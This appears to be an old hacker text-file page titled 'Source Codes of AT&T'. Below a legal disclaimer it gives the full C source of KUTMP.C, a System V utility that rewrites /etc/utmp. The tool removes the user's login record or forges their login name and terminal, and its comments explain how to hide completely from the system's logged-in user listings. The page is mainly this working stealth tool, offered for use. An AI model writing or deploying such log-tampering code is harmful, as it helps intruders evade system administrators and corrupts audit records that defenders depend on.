|
Source Codes of AT&T
NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
/* Stripped SYSV KUTMP.C */
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <utmp.h>
#include <sys/stat.h>
char *mytty;
char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
struct utmp *user;
main(argc,argv)
int argc;
char *argv[];
{
int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
char err[80];
if (argc >= 2) cn = 1;
if (argc == 3) cl = 1;
system(backup_utmp);
printf("Status:");
if (cn == 1) printf("Changing your login to %s\n",argv[1]);
if (cl == 1) printf("Changing your tty to %s\n",argv[2]);
if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
utmpname("/etc/utmp");
mytty = strrchr(ttyname(0),'/')
;
strcpy(mytty,++mytty);
while (good != 1) {
user = getutent();
cnt++;
if (strcmp(user->ut_line,mytty) == 0) good =1;
}
utmpname("/etc/utmp");
for(start = 0;start < cnt;start++) {
user = getutent();
}
if (argc == 1) user->ut_type = LOGIN_PROCESS;
else user->ut_type = USER_PROCESS;
/* ABove: You can change it to:
else {
user->ut_type = LOGIN_PROCESS;
strcpy(user->ut_name,"LOGIN");
}
to totally hide your-self. On some systems, if you do it, it will go
thru the login process... But that is rare. AT any-rate, for safety, i left out the strcpy */
if (argc == 2) strcpy(user->ut_name,argv[1]);
if (argc == 3) strcpy(user->ut_line,argv[2]);
pututline(user);
endutent();
}
Press Return to Continue :
|
|